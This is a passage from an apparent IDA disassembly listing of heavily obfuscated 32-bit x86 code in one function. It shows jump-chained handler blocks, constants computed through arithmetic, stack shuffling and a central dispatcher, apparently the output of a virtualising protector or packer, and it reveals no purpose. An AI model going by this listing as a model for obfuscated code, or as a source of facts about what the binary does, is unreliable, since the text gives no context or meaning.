		sub	ecx, 1B474372h
		push	dword ptr [ecx]
		xor	[esp-14h+arg_A+2], 26A866FAh
		pop	eax
		push	ebp
		mov	ebp, 26A866FAh
		jmp	loc_599B3A
; ---------------------------------------------------------------------------


loc_5968A2:				; CODE XREF: sub_58A891+10ABFj
		push	esi
		push	14B67210h
		pop	esi
		jmp	loc_591298
; ---------------------------------------------------------------------------


loc_5968AE:				; CODE XREF: sub_58A891+B796j
		inc	al
		jns	loc_596269
		jmp	loc_591883
; ---------------------------------------------------------------------------
		push	esi
		xor	al, 1Fh
		mov	bl, cl


loc_5968C0:				; CODE XREF: sub_58A891+6C98j
		mov	[esp-18h+arg_14], edx
		push	ebp
		jmp	loc_592AD9
; ---------------------------------------------------------------------------


loc_5968C9:				; CODE XREF: sub_58A891+BFA2j
		xchg	edx, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_595EFA
; ---------------------------------------------------------------------------


loc_5968D2:				; CODE XREF: sub_58A891+C483j
		pop	ecx
		add	ebp, esi
		pop	esi
		push	esi
		mov	esi, 4
		jmp	loc_596594
; ---------------------------------------------------------------------------


loc_5968E1:				; CODE XREF: sub_58A891+6026j
		add	ecx, edx
		pop	edx
		add	ecx, 4
		jmp	loc_594E72
; ---------------------------------------------------------------------------


loc_5968EC:				; CODE XREF: sub_58A891+678Fj
		sub	edi, esi
		pop	esi
		add	edi, eax
		add	edi, 58D0D8Dh
		pop	eax
		sub	esp, 4
		jmp	loc_5918E3
; ---------------------------------------------------------------------------


loc_596900:				; DATA XREF: sub_58A891+3A8Bo
		lodsd
		xor	eax, ebx
		push	edi
		mov	edi, 0FD9423Ch
		not	edi
		shr	edi, 5
		not	edi
		shl	edi, 2
		push	esi
		mov	esi, 89E3DEF5h
		sub	edi, 147A02ECh
		sub	edi, esi
		add	edi, 147A02ECh
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5945BB
; ---------------------------------------------------------------------------


loc_596932:				; CODE XREF: sub_58A891+4D0Dj
		add	edx, 6CBC6825h
		jmp	loc_59B514
; ---------------------------------------------------------------------------


loc_59693D:				; CODE XREF: sub_58A891+5B8Bj
		push	0
		sub	byte ptr [esp+10h+var_10], cl
		mov	cl, byte ptr [esp+10h+var_10]
		add	esp, 4
		add	cl, 0C6h
		jmp	loc_58F11B
; ---------------------------------------------------------------------------


loc_596953:				; CODE XREF: sub_58A891+C948j
		add	al, 0FAh
		shl	al, 3
		jmp	loc_5932ED
; ---------------------------------------------------------------------------


loc_59695D:				; CODE XREF: sub_58A891+110A1j
		mov	edi, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_58F445
; ---------------------------------------------------------------------------


loc_59696D:				; CODE XREF: sub_58A891+F1F5j
		pop	edi
		jmp	loc_5969B0
; ---------------------------------------------------------------------------


loc_596973:				; CODE XREF: sub_58A891+6F6Bj
		push	small word ptr [eax]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59697B:				; CODE XREF: sub_58A891+471Fj
		pop	esp
		mov	[esp+44h+var_44], esp
		add	[esp+44h+var_44], 4
		pop	ebp
		jmp	loc_594F29
; ---------------------------------------------------------------------------


loc_59698C:				; CODE XREF: sub_58A891+73C4j
		sub	ecx, 52BC310h
		sub	esi, ecx
		pop	ecx
		jmp	loc_597D9E
; ---------------------------------------------------------------------------


loc_59699A:				; CODE XREF: sub_58A891+9FFCj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+10h+var_10]
		pop	esp
		push	ebp
		jmp	loc_598E7C
; ---------------------------------------------------------------------------


loc_5969B0:				; CODE XREF: sub_58A891+C0DDj
		add	ebx, edi
		push	dword ptr [ebx]
		push	[esp+8+var_8]
		jmp	loc_593259
; ---------------------------------------------------------------------------


loc_5969BC:				; CODE XREF: sub_58A891+B14Ej
		push	edi
		pop	ebx
		pop	edi
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5969C4:				; CODE XREF: sub_58A891+5B26j
		push	esi
		mov	esi, 1ADA4AB1h
		not	esi
		not	esi
		sub	esi, 0D2BA40FFh
		sub	ecx, esi
		pop	esi
		sub	edi, ecx
		pop	ecx
		add	edi, ecx
		push	ebx
		push	7F1Ch
		mov	[esp+34h+var_34], esi
		jmp	loc_59152E
; ---------------------------------------------------------------------------


loc_5969EA:				; CODE XREF: sub_58A891+B214j
		add	esp, 4
		push	1DF0h
		mov	[esp+0Ch+var_C], edi
		sub	esp, 4
		jmp	loc_598795
; ---------------------------------------------------------------------------


loc_596A03:				; CODE XREF: sub_58A891+DBF3j
		add	edi, 0AA3FDD9Eh
		xor	ebp, edi
		jmp	loc_598187
; ---------------------------------------------------------------------------


loc_596A10:				; DATA XREF: sub_58A891+3B57o
		mov	ax, word ptr [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		sub	esp, 4
		push	esp
		pop	[esp+14h+var_14]
		add	[esp+10h+var_10], 4
		jmp	loc_594A14
; ---------------------------------------------------------------------------


loc_596A2D:				; CODE XREF: sub_58A891+68F3j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_594C50
; ---------------------------------------------------------------------------


loc_596A3A:				; CODE XREF: sub_58A891+C3EEj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_596A3F:				; CODE XREF: sub_58A891+FC6Ej
		xor	ebp, 6814004h
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		sub	esp, 4
		mov	[esp+50h+var_50], edi
		push	[esp+50h+var_4C]
		pop	edi
		pop	[esp+50h+var_50]
		mov	esp, [esp+4Ch+var_4C]
		jmp	loc_5936CC
; ---------------------------------------------------------------------------


loc_596A64:				; CODE XREF: sub_58A891+4AF9j
		add	esi, ebx
		mov	ebx, [esp+30h+var_30]
		jmp	loc_59092F
; ---------------------------------------------------------------------------


loc_596A6E:				; CODE XREF: sub_58A891+E719j
		mov	ecx, 792A78AEh
		sub	eax, ecx
		pop	ecx
		add	edx, 2F760750h
		add	edx, eax
		sub	edx, 2F760750h
		pop	eax
		jmp	loc_594B7E
; ---------------------------------------------------------------------------


loc_596A8A:				; CODE XREF: sub_58A891+E59Cj
		push	[esp+28h+var_28]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58F498
; ---------------------------------------------------------------------------


loc_596A9C:				; CODE XREF: sub_58A891+4A1Dj
		xor	[esp+28h+var_28], ebx
		jmp	loc_597913
; ---------------------------------------------------------------------------


loc_596AA4:				; CODE XREF: sub_58A891+7201j
		push	edx
		mov	edx, 5D38001Fh
		jmp	loc_59B245
; ---------------------------------------------------------------------------


loc_596AAF:				; CODE XREF: sub_58A891+1015Dj
		sub	ecx, 64137058h
		jmp	loc_5987C5
; ---------------------------------------------------------------------------


loc_596ABA:				; CODE XREF: sub_58A891+CFB0j
		add	[esp+4], esi
		add	dword ptr [esp+4], 40942D48h
		sub	dword ptr [esp+4], 0A1D39BEh
		sub	dword ptr [esp+4], 39EB024Dh
		pop	esi
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_596ADC:				; CODE XREF: sub_58A891+E86Bj
		mov	[esp+0], ebx
		push	edi
		jmp	loc_598D87
; ---------------------------------------------------------------------------


loc_596AE5:				; CODE XREF: sub_58A891+4143j
		not	ecx
		inc	ecx
		neg	ecx
		jmp	loc_59408A
; ---------------------------------------------------------------------------


loc_596AEF:				; CODE XREF: sub_58A891+7C8Dj
		pop	ecx
		add	ecx, 0BA6FF563h
		mov	edx, ecx
		pop	ecx
		neg	edx
		add	edx, 4A04F0Fh
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 2
		add	esi, eax
		mov	eax, [esp+0]
		add	esp, 4
		xor	esi, [esp-8+arg_0]
		xor	[esp-8+arg_0], esi
		xor	esi, [esp-8+arg_0]
		pop	esp
		sub	esp, 4
		jmp	loc_59B2B9
; ---------------------------------------------------------------------------


loc_596B2F:				; CODE XREF: sub_58A891+8CC3j
					; sub_58A891+FD30j
		push	ebx
		mov	ebx, 24h
		add	ebx, edi
		push	eax
		push	ebp
		mov	ebp, 0
		mov	eax, ebp
		pop	ebp
		jmp	loc_5934B1
; ---------------------------------------------------------------------------


loc_596B46:				; CODE XREF: sub_58A891+FFD9j
		and	ebp, 49CB4E60h
		jo	loc_59AEC2
		sub	ebp, 418B063Fh
		mov	eax, ebp
		mov	ebp, [esp+24h+var_24]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 59655D5h
		or	esi, 3FC15473h
		xor	esi, 63701ADDh
		add	esi, 26B42C67h
		inc	esi
		or	esi, 60E35A27h
		add	esi, 1C04844Dh
		add	ebp, esi
		pop	esi
		jmp	loc_59A914
; ---------------------------------------------------------------------------


loc_596B93:				; DATA XREF: sub_58A891+3A47o
		mov	cx, word ptr [esp+8+var_8]
		push	26A0h
		mov	[esp+0Ch+var_C], edx
		push	3EDDh
		mov	[esp+10h+var_10], esp
		push	edi
		mov	edi, 4
		add	[esp+14h+var_10], edi
		jmp	loc_59292E
; ---------------------------------------------------------------------------


loc_596BB6:				; CODE XREF: sub_58A891+43CBj
					; sub_58A891+506Dj
		xchg	eax, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], edi
		push	esp
		push	[esp+10h+var_10]
		pop	edi
		jmp	loc_5953FC
; ---------------------------------------------------------------------------


loc_596BC7:				; CODE XREF: sub_58A891+E44Dj
		jmp	loc_591FE9
; ---------------------------------------------------------------------------


loc_596BCC:				; CODE XREF: sub_58A891+BD1Aj
		mov	ebp, 3FB101DBh
		and	ebp, 0B453B0Dh
		inc	ebp
		jmp	loc_5967DF
; ---------------------------------------------------------------------------


loc_596BDD:				; CODE XREF: sub_58A891+D118j
		sub	ecx, 60912B78h
		jnz	loc_599800
		xor	ecx, 0FEAABF6Ah
		jmp	loc_591489
; ---------------------------------------------------------------------------
		pop	ebx
		pop	ebp


loc_596BF6:				; CODE XREF: sub_58A891+C97Cj
					; sub_58A891+FA45j
					; DATA XREF: ...
		mov	cx, [esp+0]
		push	ecx
		jmp	loc_591E5C
; ---------------------------------------------------------------------------


loc_596C00:				; CODE XREF: sub_58A891:loc_594E7Bj
		jmp	loc_593962
; ---------------------------------------------------------------------------


loc_596C05:				; CODE XREF: sub_58A891+B6A6j
		shr	bl, 7
		sub	esp, 4
		jmp	loc_590CEA
; ---------------------------------------------------------------------------


loc_596C13:				; DATA XREF: sub_58A891+3ADFo
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ecx
		push	edx
		mov	edx, esp
		push	esi
		jmp	loc_595D0A
; ---------------------------------------------------------------------------


loc_596C23:				; DATA XREF: sub_58A891+3AF7o
		lodsb
		push	edx
		mov	dl, 7Bh
		or	dl, 4Bh
		dec	dl
		jmp	loc_592885
; ---------------------------------------------------------------------------


loc_596C31:				; CODE XREF: sub_58A891+62D3j
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_596151
; ---------------------------------------------------------------------------


loc_596C5B:				; CODE XREF: sub_58A891+D946j
		jp	loc_597F80
		jmp	loc_59A193
; ---------------------------------------------------------------------------


loc_596C66:				; CODE XREF: sub_58A891+495Fj
		pop	cx
		jmp	loc_596EAD
; ---------------------------------------------------------------------------


loc_596C6D:				; CODE XREF: sub_58A891+10BA2j
		mov	[esp+22h+var_24+2], edx
		push	[esp+22h+var_20+2]
		pop	edx
		pop	[esp+22h+var_24+2]
		mov	esp, [esp+1Eh+var_20+2]
		mov	word ptr [esp+1Eh+var_20+2], ax
		jmp	loc_596A3A
; ---------------------------------------------------------------------------


loc_596C84:				; CODE XREF: sub_58A891+4C22j
		push	ebp
		mov	ebp, 3FCD314Eh
		push	eax
		jmp	loc_5909F2
; ---------------------------------------------------------------------------


loc_596C90:				; CODE XREF: sub_58A891+10EDAj
		add	eax, ebx
		pop	ebx
		jmp	loc_59B093
; ---------------------------------------------------------------------------


loc_596C98:				; CODE XREF: sub_58A891+E530j
		push	ecx
		jmp	loc_595939
; ---------------------------------------------------------------------------


loc_596C9E:				; CODE XREF: sub_58A891+537Fj
		push	eax
		mov	ah, bh
		mov	ch, ah
		jmp	loc_5929B4
; ---------------------------------------------------------------------------


loc_596CA8:				; CODE XREF: sub_58A891+A041j
		add	ecx, 15B5DAA8h
		mov	edi, ecx
		pop	ecx
		xor	edi, 501B1C16h
		jmp	loc_58F6A3
; ---------------------------------------------------------------------------


loc_596CBC:				; CODE XREF: sub_58A891+10131j
		jbe	loc_5928E5
		xor	eax, 310D3C27h
		ja	loc_5986E0
		xor	al, 31h
		mov	cl, 8Fh


loc_596CD1:				; CODE XREF: sub_58A891+4195j
		pop	ecx
		sub	esi, 5A855C71h
		shr	esi, 2
		jmp	loc_59AAAE
; ---------------------------------------------------------------------------


loc_596CE0:				; CODE XREF: sub_58A891+6D87j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		and	[esp+22h+var_24+2], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_596CFA:				; CODE XREF: sub_58A891+4037j
					; sub_58A891+E842j
		push	ebx
		push	[esp+40h+var_3C]
		pop	ebx
		pop	[esp+40h+var_40]
		not	ebx
		xchg	ebx, [esp+3Ch+var_3C]
		jmp	loc_593733
; ---------------------------------------------------------------------------


loc_596D0D:				; CODE XREF: sub_58A891+FBB2j
		mov	ecx, 438400B8h
		add	esi, ecx
		jmp	loc_5968D2
; ---------------------------------------------------------------------------


loc_596D19:				; CODE XREF: sub_58A891+8243j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		pop	esp
		push	esi
		jmp	loc_596509
; ---------------------------------------------------------------------------


loc_596D2E:				; CODE XREF: sub_58A891+7F61j
		add	[esp+10h+var_10], 4
		jmp	loc_590297
; ---------------------------------------------------------------------------


loc_596D37:				; CODE XREF: sub_58A891+109CDj
		pop	esi
		jmp	loc_58FCA1
; ---------------------------------------------------------------------------


loc_596D3D:				; CODE XREF: sub_58A891+638Ej
		add	al, 71h
		add	al, bl
		sub	al, 71h
		pop	ebx
		add	al, cl
		jmp	loc_597619
; ---------------------------------------------------------------------------


loc_596D4B:				; CODE XREF: sub_58A891+704Dj
		mov	ebp, 13493FD5h
		jmp	loc_59A931
; ---------------------------------------------------------------------------


loc_596D55:				; CODE XREF: sub_58A891+FCD3j
		add	esp, 4
		mov	esi, ebp
		jmp	loc_598B92
; ---------------------------------------------------------------------------


loc_596D62:				; CODE XREF: sub_58A891+C57Bj
		add	esp, 4
		add	ebx, 3B1F2687h
		add	ebx, eax
		sub	ebx, 3B1F2687h
		push	eax
		push	31D9h
		mov	[esp+54h+var_54], edx
		push	296C264Ch
		mov	edx, [esp+58h+var_58]
		add	esp, 4
		jmp	loc_593E1F
; ---------------------------------------------------------------------------


loc_596D8C:				; CODE XREF: sub_58A891+BCC0j
		xor	ebx, 0E5EEBFDBh
		add	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_591199
; ---------------------------------------------------------------------------


loc_596DA2:				; CODE XREF: sub_58A891+564Cj
		mov	esi, [esp+18h+var_18]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5905BB
; ---------------------------------------------------------------------------


loc_596DB9:				; CODE XREF: sub_58A891+D374j
		shl	edi, 3
		not	edi
		sub	edi, 0FFFFFFFFh
		add	edi, 0F572F4ACh
		add	esi, edi
		jmp	loc_5995B0
; ---------------------------------------------------------------------------


loc_596DD1:				; CODE XREF: sub_58A891+B0CAj
		xchg	eax, [esp+44h+var_44]
		pop	esp
		mov	ax, word ptr [esp+40h+var_40]
		push	ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_597B2E
; ---------------------------------------------------------------------------


loc_596DE2:				; CODE XREF: sub_58A891+EB4Dj
		not	edi
		add	edi, 1
		jmp	loc_599A6E
; ---------------------------------------------------------------------------


loc_596DEF:				; CODE XREF: sub_58A891+1062Cj
		neg	ecx
		and	ecx, 7FF0722h
		or	ecx, 6CC46F81h
		dec	ecx
		add	ecx, 0E687DB57h
		xor	esi, ecx
		pop	ecx
		sub	ebx, esi
		mov	esi, [esp+44h+var_44]
		jmp	loc_596D62
; ---------------------------------------------------------------------------


loc_596E11:				; CODE XREF: sub_58A891+7822j
		pop	edi
		add	esi, ecx
		add	esi, 19BD3FFDh
		jmp	loc_58F22C
; ---------------------------------------------------------------------------


loc_596E1F:				; DATA XREF: sub_58A891+3A9Bo
		push	dword ptr [edi+2Ch]
		jmp	loc_592F2D
; ---------------------------------------------------------------------------


loc_596E27:				; CODE XREF: sub_58A891+8697j
		push	ebx
		push	esp
		mov	ebx, [esp+10h+var_10]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_594778
; ---------------------------------------------------------------------------


loc_596E3D:				; CODE XREF: sub_58A891+9EA9j
		xchg	ebx, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		push	1B87h
		mov	[esp+38h+var_38], esi
		jmp	loc_59A1E6
; ---------------------------------------------------------------------------


loc_596E50:				; CODE XREF: sub_58A891+713Ej
		pop	esi
		add	esi, ebp
		mov	ebp, [esp+28h+var_28]
		jmp	loc_5925BE
; ---------------------------------------------------------------------------


loc_596E5B:				; CODE XREF: sub_58A891+A74Cj
		xor	[esp+38h+var_38], ebx
		xor	ebx, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		idiv	cx
		jmp	loc_59194D
; ---------------------------------------------------------------------------


loc_596E6C:				; CODE XREF: sub_58A891+5993j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58F7FE
; ---------------------------------------------------------------------------


loc_596E7A:				; CODE XREF: sub_58A891+89AAj
		push	edi
		push	[esp+64h+var_60]
		pop	edi
		pop	[esp+64h+var_64]
		mov	esp, [esp+60h+var_60]
		mov	[esp+60h+var_60], ebx
		jmp	loc_59A40E
; ---------------------------------------------------------------------------


loc_596E8E:				; CODE XREF: sub_58A891+1110Aj
		mov	dh, 74h
		add	bl, dh
		pop	dx
		sub	bl, 0F6h
		jmp	loc_599A8B
; ---------------------------------------------------------------------------


loc_596E9C:				; CODE XREF: sub_58A891+41A9j
		xor	ch, dl
		pop	edx
		add	bl, ch
		pop	ecx
		sub	bl, 62h
		add	bl, 0E5h
		jmp	loc_598C0F
; ---------------------------------------------------------------------------


loc_596EAD:				; CODE XREF: sub_58A891+C3D7j
		mov	bx, word ptr [esp+22h+var_24+2]
		add	esp, 2
		pop	ebx
		xor	bl, al
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+1Eh+var_20+2]
		pop	esp
		mov	[esp+1Ah+var_1C+2], ebp
		mov	ebp, 3FCh
		push	ebx
		mov	ebx, 54663A55h
		add	edi, 4A67264Eh
		add	edi, ebx
		push	esi
		mov	esi, 74AC2DD0h
		sub	esi, 2A450782h
		sub	esp, 4
		mov	[esp+26h+var_28+2], eax
		jmp	loc_599E42
; ---------------------------------------------------------------------------


loc_596EF3:				; CODE XREF: sub_58A891+F6B6j
		push	ebx
		mov	ebx, 11A06F02h
		shr	ebx, 8
		jmp	loc_592858
; ---------------------------------------------------------------------------


loc_596F01:				; CODE XREF: sub_58A891+E72Fj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_596F06:				; CODE XREF: sub_58A891+CF65j
		add	ecx, 4
		xor	ecx, [esp+2Ah+var_2C+2]
		xor	[esp+2Ah+var_2C+2], ecx
		xor	ecx, [esp+2Ah+var_2C+2]
		pop	esp
		push	3894h
		mov	[esp+2Ah+var_2C+2], edx
		push	6984h
		mov	[esp+2Eh+var_30+2], ebx
		jmp	loc_59504C
; ---------------------------------------------------------------------------


loc_596F2B:				; CODE XREF: sub_58A891+ECB1j
		mov	[esp+2Eh+var_30+2], ebp
		mov	ebp, ebx
		push	ebp
		jmp	loc_59AF8F
; ---------------------------------------------------------------------------


loc_596F36:				; CODE XREF: sub_58A891+8660j
		pop	eax
		push	edi
		mov	edi, 7B6A68DAh
		dec	edi
		shl	edi, 5
		shl	edi, 2
		shr	edi, 8
		xor	edi, 0B53468h
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp-14h+arg_A+2]
		mov	esp, [esp-14h+arg_A+2]
		mov	eax, [esp-14h+arg_A+2]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-0Ch+arg_4]
		pop	esp
		mov	[esp+0], ebp
		sub	esp, 4
		mov	[esp-0Ch+arg_4], ebx
		jmp	loc_595813
; ---------------------------------------------------------------------------


loc_596F80:				; CODE XREF: sub_58A891+73E1j
					; sub_58A891+CE63j
		jle	loc_599A7B
		jmp	loc_59A08C
; ---------------------------------------------------------------------------


loc_596F8B:				; CODE XREF: sub_58A891:loc_590CBFj
		xor	bl, 19h
		jmp	loc_596359
; ---------------------------------------------------------------------------


loc_596F93:				; CODE XREF: sub_58A891+86CAj
		pop	esp
		jmp	loc_594834
; ---------------------------------------------------------------------------


loc_596F99:				; CODE XREF: sub_58A891+65E8j
		push	ebp
		mov	ebp, 1
		sub	edi, ebp
		pop	ebp
		add	edi, 0A8D88008h
		add	esi, edi
		mov	edi, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, 2
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+0], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp+0]
		pop	esp
		mov	ax, word ptr [esp-8+arg_0]
		push	6310h
		mov	[esp+0], eax
		mov	eax, esp
		push	2F9Ch
		mov	[esp+0], esi
		push	156F780Bh
		jmp	loc_5939F6
; ---------------------------------------------------------------------------


loc_596FE8:				; CODE XREF: sub_58A891+CFEFj
		add	al, dh
		jmp	loc_599C70
; ---------------------------------------------------------------------------


loc_596FEF:				; CODE XREF: sub_58A891+FB10j
		xchg	ebp, [esp+4+var_4]
		jmp	loc_596651
; ---------------------------------------------------------------------------


loc_596FF7:				; CODE XREF: sub_58A891+61CBj
		push	ebx
		push	ecx
		push	0DD25C88h
		pop	ecx
		xor	ecx, 1F0A1D78h
		shl	ecx, 6
		shl	ecx, 8
		jns	loc_593BF0
		add	ecx, 2E357A63h
		mov	ebx, ecx
		pop	ecx
		mov	ch, 0C3h
		mov	al, cl


loc_59701E:				; CODE XREF: sub_58A891+6B5Ej
		neg	ebp
		jno	loc_596838
		xor	ebp, 0DEE48FDh
		shr	ebp, 2
		xor	dl, 61h
		pop	ecx


loc_597033:				; CODE XREF: sub_58A891+9464j
		mov	ch, 5Ah
		mov	ah, ch
		pop	ecx
		sub	ah, 0A0h
		ja	loc_595E9C
		add	ah, 3Ch
		mov	dh, ah
		pop	eax
		push	ecx
		push	edx
		mov	dl, 0D4h
		mov	ch, dl
		pop	edx
		jmp	loc_59A6AD
; ---------------------------------------------------------------------------


loc_597053:				; CODE XREF: sub_58A891+DDE5j
		mov	[esp+40h+var_40], eax
		jmp	loc_591A97
; ---------------------------------------------------------------------------


loc_59705B:				; CODE XREF: sub_58A891+7950j
		not	ecx
		jmp	loc_58E8B6
; ---------------------------------------------------------------------------


loc_597062:				; CODE XREF: sub_58A891+BEEFj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		xor	ecx, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], ecx
		jmp	loc_59174E
; ---------------------------------------------------------------------------


loc_597080:				; CODE XREF: sub_58A891+4CECj
		xor	[esp+40h+var_40], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597089:				; CODE XREF: sub_58A891+D613j
		sub	al, 89h
		sub	al, bl
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_59AE81
; ---------------------------------------------------------------------------


loc_5970A1:				; CODE XREF: sub_58A891+88E6j
		or	ebx, 1A4B40BEh
		add	ebx, 25B30B19h
		dec	ebx
		jmp	loc_5932E2
; ---------------------------------------------------------------------------


loc_5970B3:				; CODE XREF: sub_58A891+4F1Fj
		jo	loc_5957CF
		sub	ah, 2Eh
		mov	cl, ah
		pop	eax
		and	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		push	esp
		push	[esp+18h+var_18]
		mov	edi, [esp+1Ch+var_1C]
		add	esp, 4
		add	esp, 4
		add	edi, 4
		push	eax
		jmp	loc_59322B
; ---------------------------------------------------------------------------


loc_5970E7:				; CODE XREF: sub_58A891+685Ej
		push	ebp
		jmp	loc_597B4D
; ---------------------------------------------------------------------------


loc_5970ED:				; CODE XREF: sub_58A891+54F3j
		push	eax
		jmp	loc_59BA24
; ---------------------------------------------------------------------------


loc_5970F3:				; CODE XREF: sub_58A891+6831j
		push	392749AFh
		pop	edi
		add	ebx, 368F0563h
		add	ebx, edi
		push	ebp
		jmp	loc_593E54
; ---------------------------------------------------------------------------


loc_597107:				; CODE XREF: sub_58A891+D2A3j
		sub	ecx, 2FA435A4h
		jmp	loc_594B94
; ---------------------------------------------------------------------------


loc_597112:				; CODE XREF: sub_58A891+BFF1j
		mov	[esp+1Ch+var_1C], esi
		mov	esi, esp
		jmp	loc_598A0A
; ---------------------------------------------------------------------------


loc_59711C:				; CODE XREF: sub_58A891+6D4Ej
					; sub_58A891+DE4Aj
		not	ebp
		xchg	ebp, ecx
		shr	ecx, 5
		js	loc_5923AE
		sub	esp, 4
		jmp	loc_5940D9
; ---------------------------------------------------------------------------


loc_597131:				; CODE XREF: sub_58A891+40A3j
		mov	si, bx
		pop	ebx
		sub	ax, 459h
		add	ax, si
		add	ax, 459h
		pop	si
		push	esi
		mov	si, 5D0h
		sub	si, 1
		jmp	loc_59171C
; ---------------------------------------------------------------------------


loc_597151:				; CODE XREF: sub_58A891+58AFj
		push	edx
		jmp	loc_597D8F
; ---------------------------------------------------------------------------
off_597157	dd offset dword_531B3C+52Ch ; DATA XREF: sub_58A891+3B53o
		align 4
		jmp	loc_5943C6
; ---------------------------------------------------------------------------


loc_597161:				; CODE XREF: sub_58A891+F9C0j
		sub	bl, 13h
		sub	bl, 41h
		push	7A9Dh
		mov	[esp+10h+var_10], edx
		mov	dh, bl
		mov	al, dh
		push	[esp+10h+var_10]
		pop	edx
		add	esp, 4
		pop	ebx
		sub	bl, al
		mov	eax, [esp+8+var_8]
		add	esp, 4
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	esi
		push	esp
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 127F7A0Fh
		sub	ebp, 53EC153Bh
		push	ebx
		mov	ebx, 6C1530Ah
		jmp	loc_592826
; ---------------------------------------------------------------------------


loc_5971BD:				; CODE XREF: sub_58A891+7FC2j
		sub	edx, 0CD00B853h
		add	esi, edx
		pop	edx
		shl	esi, 5
		jmp	loc_597ACE
; ---------------------------------------------------------------------------


loc_5971CE:				; CODE XREF: sub_58A891+8287j
		mov	dl, 73h
		or	dl, 49h
		add	dl, 1Eh
		push	eax
		mov	al, 0C0h
		jmp	loc_596953
; ---------------------------------------------------------------------------


loc_5971DE:				; CODE XREF: sub_58A891+A85Dj
		mov	[esp+0Ch+var_C], ebx
		pop	eax
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59616F
; ---------------------------------------------------------------------------


loc_5971F0:				; CODE XREF: sub_58A891+8D99j
		xor	ah, 0BEh
		dec	ah
		jg	loc_598DDE
		and	ah, 0E1h
		jp	loc_58E75C
		shr	ah, 1
		jmp	loc_59281A
; ---------------------------------------------------------------------------
		mov	cl, bl
		jmp	loc_596BF6
; ---------------------------------------------------------------------------


loc_597212:				; CODE XREF: sub_58A891+E69Bj
		push	ebx
		jmp	loc_590E10
; ---------------------------------------------------------------------------


loc_597218:				; CODE XREF: sub_58A891+4E1Bj
		add	ecx, 4532009Fh
		pop	edi
		add	ebx, 28F75651h
		add	ebx, ecx
		sub	ebx, 28F75651h
		jmp	loc_58EEEC
; ---------------------------------------------------------------------------


loc_597232:				; CODE XREF: sub_58A891+9E4Fj
		pop	edx
		sub	al, bh
		pop	ebx
		xor	bl, al
		movzx	eax, al
		mov	dx, word ptr [esp+40h+var_40]
		push	ebp
		push	esp
		mov	ebp, [esp+48h+var_48]
		add	esp, 4
		add	ebp, 4
		push	esi
		push	edi
		push	2
		jmp	loc_59AD31
; ---------------------------------------------------------------------------


loc_597259:				; CODE XREF: sub_58A891+ABDEj
		sub	ebp, 4
		push	ebp
		push	[esp+12h+var_10+2]
		jmp	loc_59597C
; ---------------------------------------------------------------------------


loc_597266:				; CODE XREF: sub_58A891+7CB7j
		xchg	ebp, [esp+1Ch+var_1C]
		jmp	loc_599493
; ---------------------------------------------------------------------------


loc_59726E:				; CODE XREF: sub_58A891+930Bj
					; sub_58A891+EB1Cj
		push	esi
		mov	esi, 2
		jmp	loc_59AD7E
; ---------------------------------------------------------------------------


loc_597279:				; CODE XREF: sub_58A891+CFDAj
		xor	edx, 76F65DD9h
		jp	loc_590987
		inc	edx
		push	edx
		not	[esp+18h+var_18]
		pop	edx
		mov	ebp, ebx
		mov	ah, cl


loc_59728F:				; CODE XREF: sub_58A891+6AC8j
